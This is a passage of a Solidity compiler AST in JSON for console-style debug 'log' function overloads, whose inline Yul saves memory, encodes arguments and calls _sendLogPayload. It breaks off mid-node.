"id":36788,"nodeType":"VariableDeclarationStatement","src":"94569:10:22"},{"assignments":[36790],"declarations":[{"constant":false,"id":36790,"mutability":"mutable","name":"m2","nameLocation":"94597:2:22","nodeType":"VariableDeclaration","scope":36811,"src":"94589:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36789,"name":"bytes32","nodeType":"ElementaryTypeName","src":"94589:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36791,"nodeType":"VariableDeclarationStatement","src":"94589:10:22"},{"assignments":[36793],"declarations":[{"constant":false,"id":36793,"mutability":"mutable","name":"m3","nameLocation":"94617:2:22","nodeType":"VariableDeclaration","scope":36811,"src":"94609:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36792,"name":"bytes32","nodeType":"ElementaryTypeName","src":"94609:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36794,"nodeType":"VariableDeclarationStatement","src":"94609:10:22"},{"assignments":[36796],"declarations":[{"constant":false,"id":36796,"mutability":"mutable","name":"m4","nameLocation":"94637:2:22","nodeType":"VariableDeclaration","scope":36811,"src":"94629:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36795,"name":"bytes32","nodeType":"ElementaryTypeName","src":"94629:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36797,"nodeType":"VariableDeclarationStatement","src":"94629:10:22"},{"assignments":[36799],"declarations":[{"constant":false,"id":36799,"mutability":"mutable","name":"m5","nameLocation":"94657:2:22","nodeType":"VariableDeclaration","scope":36811,"src":"94649:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36798,"name":"bytes32","nodeType":"ElementaryTypeName","src":"94649:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36800,"nodeType":"VariableDeclarationStatement","src":"94649:10:22"},{"assignments":[36802],"declarations":[{"constant":false,"id":36802,"mutability":"mutable","name":"m6","nameLocation":"94677:2:22","nodeType":"VariableDeclaration","scope":36811,"src":"94669:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36801,"name":"bytes32","nodeType":"ElementaryTypeName","src":"94669:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36803,"nodeType":"VariableDeclarationStatement","src":"94669:10:22"},{"AST":{"nativeSrc":"94698:831:22","nodeType":"YulBlock","src":"94698:831:22","statements":[{"body":{"nativeSrc":"94741:313:22","nodeType":"YulBlock","src":"94741:313:22","statements":[{"nativeSrc":"94759:15:22","nodeType":"YulVariableDeclaration","src":"94759:15:22","value":{"kind":"number","nativeSrc":"94773:1:22","nodeType":"YulLiteral","src":"94773:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"94763:6:22","nodeType":"YulTypedName","src":"94763:6:22","type":""}]},{"body":{"nativeSrc":"94844:40:22","nodeType":"YulBlock","src":"94844:40:22","statements":[{"body":{"nativeSrc":"94873:9:22","nodeType":"YulBlock","src":"94873:9:22","statements":[{"nativeSrc":"94875:5:22","nodeType":"YulBreak","src":"94875:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"94861:6:22","nodeType":"YulIdentifier","src":"94861:6:22"},{"name":"w","nativeSrc":"94869:1:22","nodeType":"YulIdentifier","src":"94869:1:22"}],"functionName":{"name":"byte","nativeSrc":"94856:4:22","nodeType":"YulIdentifier","src":"94856:4:22"},"nativeSrc":"94856:15:22","nodeType":"YulFunctionCall","src":"94856:15:22"}],"functionName":{"name":"iszero","nativeSrc":"94849:6:22","nodeType":"YulIdentifier","src":"94849:6:22"},"nativeSrc":"94849:23:22","nodeType":"YulFunctionCall","src":"94849:23:22"},"nativeSrc":"94846:36:22","nodeType":"YulIf","src":"94846:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"94801:6:22","nodeType":"YulIdentifier","src":"94801:6:22"},{"kind":"number","nativeSrc":"94809:4:22","nodeType":"YulLiteral","src":"94809:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"94798:2:22","nodeType":"YulIdentifier","src":"94798:2:22"},"nativeSrc":"94798:16:22","nodeType":"YulFunctionCall","src":"94798:16:22"},"nativeSrc":"94791:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"94815:28:22","nodeType":"YulBlock","src":"94815:28:22","statements":[{"nativeSrc":"94817:24:22","nodeType":"YulAssignment","src":"94817:24:22","value":{"arguments":[{"name":"length","nativeSrc":"94831:6:22","nodeType":"YulIdentifier","src":"94831:6:22"},{"kind":"number","nativeSrc":"94839:1:22","nodeType":"YulLiteral","src":"94839:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"94827:3:22","nodeType":"YulIdentifier","src":"94827:3:22"},"nativeSrc":"94827:14:22","nodeType":"YulFunctionCall","src":"94827:14:22"},"variableNames":[{"name":"length","nativeSrc":"94817:6:22","nodeType":"YulIdentifier","src":"94817:6:22"}]}]},"pre":{"nativeSrc":"94795:2:22","nodeType":"YulBlock","src":"94795:2:22","statements":[]},"src":"94791:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"94908:3:22","nodeType":"YulIdentifier","src":"94908:3:22"},{"name":"length","nativeSrc":"94913:6:22","nodeType":"YulIdentifier","src":"94913:6:22"}],"functionName":{"name":"mstore","nativeSrc":"94901:6:22","nodeType":"YulIdentifier","src":"94901:6:22"},"nativeSrc":"94901:19:22","nodeType":"YulFunctionCall","src":"94901:19:22"},"nativeSrc":"94901:19:22","nodeType":"YulExpressionStatement","src":"94901:19:22"},{"nativeSrc":"94937:37:22","nodeType":"YulVariableDeclaration","src":"94937:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"94954:3:22","nodeType":"YulLiteral","src":"94954:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"94963:1:22","nodeType":"YulLiteral","src":"94963:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"94966:6:22","nodeType":"YulIdentifier","src":"94966:6:22"}],"functionName":{"name":"shl","nativeSrc":"94959:3:22","nodeType":"YulIdentifier","src":"94959:3:22"},"nativeSrc":"94959:14:22","nodeType":"YulFunctionCall","src":"94959:14:22"}],"functionName":{"name":"sub","nativeSrc":"94950:3:22","nodeType":"YulIdentifier","src":"94950:3:22"},"nativeSrc":"94950:24:22","nodeType":"YulFunctionCall","src":"94950:24:22"},"variables":[{"name":"shift","nativeSrc":"94941:5:22","nodeType":"YulTypedName","src":"94941:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"95002:3:22","nodeType":"YulIdentifier","src":"95002:3:22"},{"kind":"number","nativeSrc":"95007:4:22","nodeType":"YulLiteral","src":"95007:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"94998:3:22","nodeType":"YulIdentifier","src":"94998:3:22"},"nativeSrc":"94998:14:22","nodeType":"YulFunctionCall","src":"94998:14:22"},{"arguments":[{"name":"shift","nativeSrc":"95018:5:22","nodeType":"YulIdentifier","src":"95018:5:22"},{"arguments":[{"name":"shift","nativeSrc":"95029:5:22","nodeType":"YulIdentifier","src":"95029:5:22"},{"name":"w","nativeSrc":"95036:1:22","nodeType":"YulIdentifier","src":"95036:1:22"}],"functionName":{"name":"shr","nativeSrc":"95025:3:22","nodeType":"YulIdentifier","src":"95025:3:22"},"nativeSrc":"95025:13:22","nodeType":"YulFunctionCall","src":"95025:13:22"}],"functionName":{"name":"shl","nativeSrc":"95014:3:22","nodeType":"YulIdentifier","src":"95014:3:22"},"nativeSrc":"95014:25:22","nodeType":"YulFunctionCall","src":"95014:25:22"}],"functionName":{"name":"mstore","nativeSrc":"94991:6:22","nodeType":"YulIdentifier","src":"94991:6:22"},"nativeSrc":"94991:49:22","nodeType":"YulFunctionCall","src":"94991:49:22"},"nativeSrc":"94991:49:22","nodeType":"YulExpressionStatement","src":"94991:49:22"}]},"name":"writeString","nativeSrc":"94712:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"94733:3:22","nodeType":"YulTypedName","src":"94733:3:22","type":""},{"name":"w","nativeSrc":"94738:1:22","nodeType":"YulTypedName","src":"94738:1:22","type":""}],"src":"94712:342:22"},{"nativeSrc":"95067:17:22","nodeType":"YulAssignment","src":"95067:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"95079:4:22","nodeType":"YulLiteral","src":"95079:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"95073:5:22","nodeType":"YulIdentifier","src":"95073:5:22"},"nativeSrc":"95073:11:22","nodeType":"YulFunctionCall","src":"95073:11:22"},"variableNames":[{"name":"m0","nativeSrc":"95067:2:22","nodeType":"YulIdentifier","src":"95067:2:22"}]},{"nativeSrc":"95097:17:22","nodeType":"YulAssignment","src":"95097:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"95109:4:22","nodeType":"YulLiteral","src":"95109:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"95103:5:22","nodeType":"YulIdentifier","src":"95103:5:22"},"nativeSrc":"95103:11:22","nodeType":"YulFunctionCall","src":"95103:11:22"},"variableNames":[{"name":"m1","nativeSrc":"95097:2:22","nodeType":"YulIdentifier","src":"95097:2:22"}]},{"nativeSrc":"95127:17:22","nodeType":"YulAssignment","src":"95127:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"95139:4:22","nodeType":"YulLiteral","src":"95139:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"95133:5:22","nodeType":"YulIdentifier","src":"95133:5:22"},"nativeSrc":"95133:11:22","nodeType":"YulFunctionCall","src":"95133:11:22"},"variableNames":[{"name":"m2","nativeSrc":"95127:2:22","nodeType":"YulIdentifier","src":"95127:2:22"}]},{"nativeSrc":"95157:17:22","nodeType":"YulAssignment","src":"95157:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"95169:4:22","nodeType":"YulLiteral","src":"95169:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"95163:5:22","nodeType":"YulIdentifier","src":"95163:5:22"},"nativeSrc":"95163:11:22","nodeType":"YulFunctionCall","src":"95163:11:22"},"variableNames":[{"name":"m3","nativeSrc":"95157:2:22","nodeType":"YulIdentifier","src":"95157:2:22"}]},{"nativeSrc":"95187:17:22","nodeType":"YulAssignment","src":"95187:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"95199:4:22","nodeType":"YulLiteral","src":"95199:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"95193:5:22","nodeType":"YulIdentifier","src":"95193:5:22"},"nativeSrc":"95193:11:22","nodeType":"YulFunctionCall","src":"95193:11:22"},"variableNames":[{"name":"m4","nativeSrc":"95187:2:22","nodeType":"YulIdentifier","src":"95187:2:22"}]},{"nativeSrc":"95217:17:22","nodeType":"YulAssignment","src":"95217:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"95229:4:22","nodeType":"YulLiteral","src":"95229:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"95223:5:22","nodeType":"YulIdentifier","src":"95223:5:22"},"nativeSrc":"95223:11:22","nodeType":"YulFunctionCall","src":"95223:11:22"},"variableNames":[{"name":"m5","nativeSrc":"95217:2:22","nodeType":"YulIdentifier","src":"95217:2:22"}]},{"nativeSrc":"95247:17:22","nodeType":"YulAssignment","src":"95247:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"95259:4:22","nodeType":"YulLiteral","src":"95259:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"95253:5:22","nodeType":"YulIdentifier","src":"95253:5:22"},"nativeSrc":"95253:11:22","nodeType":"YulFunctionCall","src":"95253:11:22"},"variableNames":[{"name":"m6","nativeSrc":"95247:2:22","nodeType":"YulIdentifier","src":"95247:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95350:4:22","nodeType":"YulLiteral","src":"95350:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"95356:10:22","nodeType":"YulLiteral","src":"95356:10:22","type":"","value":"0x8f736d16"}],"functionName":{"name":"mstore","nativeSrc":"95343:6:22","nodeType":"YulIdentifier","src":"95343:6:22"},"nativeSrc":"95343:24:22","nodeType":"YulFunctionCall","src":"95343:24:22"},"nativeSrc":"95343:24:22","nodeType":"YulExpressionStatement","src":"95343:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95387:4:22","nodeType":"YulLiteral","src":"95387:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"95393:2:22","nodeType":"YulIdentifier","src":"95393:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95380:6:22","nodeType":"YulIdentifier","src":"95380:6:22"},"nativeSrc":"95380:16:22","nodeType":"YulFunctionCall","src":"95380:16:22"},"nativeSrc":"95380:16:22","nodeType":"YulExpressionStatement","src":"95380:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95416:4:22","nodeType":"YulLiteral","src":"95416:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"95422:2:22","nodeType":"YulIdentifier","src":"95422:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95409:6:22","nodeType":"YulIdentifier","src":"95409:6:22"},"nativeSrc":"95409:16:22","nodeType":"YulFunctionCall","src":"95409:16:22"},"nativeSrc":"95409:16:22","nodeType":"YulExpressionStatement","src":"95409:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95445:4:22","nodeType":"YulLiteral","src":"95445:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"95451:4:22","nodeType":"YulLiteral","src":"95451:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"95438:6:22","nodeType":"YulIdentifier","src":"95438:6:22"},"nativeSrc":"95438:18:22","nodeType":"YulFunctionCall","src":"95438:18:22"},"nativeSrc":"95438:18:22","nodeType":"YulExpressionStatement","src":"95438:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95476:4:22","nodeType":"YulLiteral","src":"95476:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"95482:2:22","nodeType":"YulIdentifier","src":"95482:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95469:6:22","nodeType":"YulIdentifier","src":"95469:6:22"},"nativeSrc":"95469:16:22","nodeType":"YulFunctionCall","src":"95469:16:22"},"nativeSrc":"95469:16:22","nodeType":"YulExpressionStatement","src":"95469:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95510:4:22","nodeType":"YulLiteral","src":"95510:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"95516:2:22","nodeType":"YulIdentifier","src":"95516:2:22"}],"functionName":{"name":"writeString","nativeSrc":"95498:11:22","nodeType":"YulIdentifier","src":"95498:11:22"},"nativeSrc":"95498:21:22","nodeType":"YulFunctionCall","src":"95498:21:22"},"nativeSrc":"95498:21:22","nodeType":"YulExpressionStatement","src":"95498:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36784,"isOffset":false,"isSlot":false,"src":"95067:2:22","valueSize":1},{"declaration":36787,"isOffset":false,"isSlot":false,"src":"95097:2:22","valueSize":1},{"declaration":36790,"isOffset":false,"isSlot":false,"src":"95127:2:22","valueSize":1},{"declaration":36793,"isOffset":false,"isSlot":false,"src":"95157:2:22","valueSize":1},{"declaration":36796,"isOffset":false,"isSlot":false,"src":"95187:2:22","valueSize":1},{"declaration":36799,"isOffset":false,"isSlot":false,"src":"95217:2:22","valueSize":1},{"declaration":36802,"isOffset":false,"isSlot":false,"src":"95247:2:22","valueSize":1},{"declaration":36774,"isOffset":false,"isSlot":false,"src":"95393:2:22","valueSize":1},{"declaration":36776,"isOffset":false,"isSlot":false,"src":"95422:2:22","valueSize":1},{"declaration":36778,"isOffset":false,"isSlot":false,"src":"95516:2:22","valueSize":1},{"declaration":36780,"isOffset":false,"isSlot":false,"src":"95482:2:22","valueSize":1}],"id":36804,"nodeType":"InlineAssembly","src":"94689:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36806,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"95554:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":36807,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"95560:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":36805,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"95538:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36808,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"95538:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36809,"nodeType":"ExpressionStatement","src":"95538:27:22"},{"AST":{"nativeSrc":"95584:214:22","nodeType":"YulBlock","src":"95584:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"95605:4:22","nodeType":"YulLiteral","src":"95605:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"95611:2:22","nodeType":"YulIdentifier","src":"95611:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95598:6:22","nodeType":"YulIdentifier","src":"95598:6:22"},"nativeSrc":"95598:16:22","nodeType":"YulFunctionCall","src":"95598:16:22"},"nativeSrc":"95598:16:22","nodeType":"YulExpressionStatement","src":"95598:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95634:4:22","nodeType":"YulLiteral","src":"95634:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"95640:2:22","nodeType":"YulIdentifier","src":"95640:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95627:6:22","nodeType":"YulIdentifier","src":"95627:6:22"},"nativeSrc":"95627:16:22","nodeType":"YulFunctionCall","src":"95627:16:22"},"nativeSrc":"95627:16:22","nodeType":"YulExpressionStatement","src":"95627:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95663:4:22","nodeType":"YulLiteral","src":"95663:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"95669:2:22","nodeType":"YulIdentifier","src":"95669:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95656:6:22","nodeType":"YulIdentifier","src":"95656:6:22"},"nativeSrc":"95656:16:22","nodeType":"YulFunctionCall","src":"95656:16:22"},"nativeSrc":"95656:16:22","nodeType":"YulExpressionStatement","src":"95656:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95692:4:22","nodeType":"YulLiteral","src":"95692:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"95698:2:22","nodeType":"YulIdentifier","src":"95698:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95685:6:22","nodeType":"YulIdentifier","src":"95685:6:22"},"nativeSrc":"95685:16:22","nodeType":"YulFunctionCall","src":"95685:16:22"},"nativeSrc":"95685:16:22","nodeType":"YulExpressionStatement","src":"95685:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95721:4:22","nodeType":"YulLiteral","src":"95721:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"95727:2:22","nodeType":"YulIdentifier","src":"95727:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95714:6:22","nodeType":"YulIdentifier","src":"95714:6:22"},"nativeSrc":"95714:16:22","nodeType":"YulFunctionCall","src":"95714:16:22"},"nativeSrc":"95714:16:22","nodeType":"YulExpressionStatement","src":"95714:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95750:4:22","nodeType":"YulLiteral","src":"95750:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"95756:2:22","nodeType":"YulIdentifier","src":"95756:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95743:6:22","nodeType":"YulIdentifier","src":"95743:6:22"},"nativeSrc":"95743:16:22","nodeType":"YulFunctionCall","src":"95743:16:22"},"nativeSrc":"95743:16:22","nodeType":"YulExpressionStatement","src":"95743:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"95779:4:22","nodeType":"YulLiteral","src":"95779:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"95785:2:22","nodeType":"YulIdentifier","src":"95785:2:22"}],"functionName":{"name":"mstore","nativeSrc":"95772:6:22","nodeType":"YulIdentifier","src":"95772:6:22"},"nativeSrc":"95772:16:22","nodeType":"YulFunctionCall","src":"95772:16:22"},"nativeSrc":"95772:16:22","nodeType":"YulExpressionStatement","src":"95772:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36784,"isOffset":false,"isSlot":false,"src":"95611:2:22","valueSize":1},{"declaration":36787,"isOffset":false,"isSlot":false,"src":"95640:2:22","valueSize":1},{"declaration":36790,"isOffset":false,"isSlot":false,"src":"95669:2:22","valueSize":1},{"declaration":36793,"isOffset":false,"isSlot":false,"src":"95698:2:22","valueSize":1},{"declaration":36796,"isOffset":false,"isSlot":false,"src":"95727:2:22","valueSize":1},{"declaration":36799,"isOffset":false,"isSlot":false,"src":"95756:2:22","valueSize":1},{"declaration":36802,"isOffset":false,"isSlot":false,"src":"95785:2:22","valueSize":1}],"id":36810,"nodeType":"InlineAssembly","src":"95575:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"94473:3:22","parameters":{"id":36781,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36774,"mutability":"mutable","name":"p0","nameLocation":"94485:2:22","nodeType":"VariableDeclaration","scope":36812,"src":"94477:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36773,"name":"address","nodeType":"ElementaryTypeName","src":"94477:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36776,"mutability":"mutable","name":"p1","nameLocation":"94497:2:22","nodeType":"VariableDeclaration","scope":36812,"src":"94489:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36775,"name":"address","nodeType":"ElementaryTypeName","src":"94489:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36778,"mutability":"mutable","name":"p2","nameLocation":"94509:2:22","nodeType":"VariableDeclaration","scope":36812,"src":"94501:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36777,"name":"bytes32","nodeType":"ElementaryTypeName","src":"94501:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36780,"mutability":"mutable","name":"p3","nameLocation":"94521:2:22","nodeType":"VariableDeclaration","scope":36812,"src":"94513:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36779,"name":"address","nodeType":"ElementaryTypeName","src":"94513:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"94476:48:22"},"returnParameters":{"id":36782,"nodeType":"ParameterList","parameters":[],"src":"94539:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36852,"nodeType":"FunctionDefinition","src":"95810:1334:22","nodes":[],"body":{"id":36851,"nodeType":"Block","src":"95882:1262:22","nodes":[],"statements":[{"assignments":[36824],"declarations":[{"constant":false,"id":36824,"mutability":"mutable","name":"m0","nameLocation":"95900:2:22","nodeType":"VariableDeclaration","scope":36851,"src":"95892:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36823,"name":"bytes32","nodeType":"ElementaryTypeName","src":"95892:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36825,"nodeType":"VariableDeclarationStatement","src":"95892:10:22"},{"assignments":[36827],"declarations":[{"constant":false,"id":36827,"mutability":"mutable","name":"m1","nameLocation":"95920:2:22","nodeType":"VariableDeclaration","scope":36851,"src":"95912:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36826,"name":"bytes32","nodeType":"ElementaryTypeName","src":"95912:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36828,"nodeType":"VariableDeclarationStatement","src":"95912:10:22"},{"assignments":[36830],"declarations":[{"constant":false,"id":36830,"mutability":"mutable","name":"m2","nameLocation":"95940:2:22","nodeType":"VariableDeclaration","scope":36851,"src":"95932:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36829,"name":"bytes32","nodeType":"ElementaryTypeName","src":"95932:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36831,"nodeType":"VariableDeclarationStatement","src":"95932:10:22"},{"assignments":[36833],"declarations":[{"constant":false,"id":36833,"mutability":"mutable","name":"m3","nameLocation":"95960:2:22","nodeType":"VariableDeclaration","scope":36851,"src":"95952:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36832,"name":"bytes32","nodeType":"ElementaryTypeName","src":"95952:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36834,"nodeType":"VariableDeclarationStatement","src":"95952:10:22"},{"assignments":[36836],"declarations":[{"constant":false,"id":36836,"mutability":"mutable","name":"m4","nameLocation":"95980:2:22","nodeType":"VariableDeclaration","scope":36851,"src":"95972:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36835,"name":"bytes32","nodeType":"ElementaryTypeName","src":"95972:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36837,"nodeType":"VariableDeclarationStatement","src":"95972:10:22"},{"assignments":[36839],"declarations":[{"constant":false,"id":36839,"mutability":"mutable","name":"m5","nameLocation":"96000:2:22","nodeType":"VariableDeclaration","scope":36851,"src":"95992:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36838,"name":"bytes32","nodeType":"ElementaryTypeName","src":"95992:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36840,"nodeType":"VariableDeclarationStatement","src":"95992:10:22"},{"assignments":[36842],"declarations":[{"constant":false,"id":36842,"mutability":"mutable","name":"m6","nameLocation":"96020:2:22","nodeType":"VariableDeclaration","scope":36851,"src":"96012:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36841,"name":"bytes32","nodeType":"ElementaryTypeName","src":"96012:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36843,"nodeType":"VariableDeclarationStatement","src":"96012:10:22"},{"AST":{"nativeSrc":"96041:828:22","nodeType":"YulBlock","src":"96041:828:22","statements":[{"body":{"nativeSrc":"96084:313:22","nodeType":"YulBlock","src":"96084:313:22","statements":[{"nativeSrc":"96102:15:22","nodeType":"YulVariableDeclaration","src":"96102:15:22","value":{"kind":"number","nativeSrc":"96116:1:22","nodeType":"YulLiteral","src":"96116:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"96106:6:22","nodeType":"YulTypedName","src":"96106:6:22","type":""}]},{"body":{"nativeSrc":"96187:40:22","nodeType":"YulBlock","src":"96187:40:22","statements":[{"body":{"nativeSrc":"96216:9:22","nodeType":"YulBlock","src":"96216:9:22","statements":[{"nativeSrc":"96218:5:22","nodeType":"YulBreak","src":"96218:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"96204:6:22","nodeType":"YulIdentifier","src":"96204:6:22"},{"name":"w","nativeSrc":"96212:1:22","nodeType":"YulIdentifier","src":"96212:1:22"}],"functionName":{"name":"byte","nativeSrc":"96199:4:22","nodeType":"YulIdentifier","src":"96199:4:22"},"nativeSrc":"96199:15:22","nodeType":"YulFunctionCall","src":"96199:15:22"}],"functionName":{"name":"iszero","nativeSrc":"96192:6:22","nodeType":"YulIdentifier","src":"96192:6:22"},"nativeSrc":"96192:23:22","nodeType":"YulFunctionCall","src":"96192:23:22"},"nativeSrc":"96189:36:22","nodeType":"YulIf","src":"9618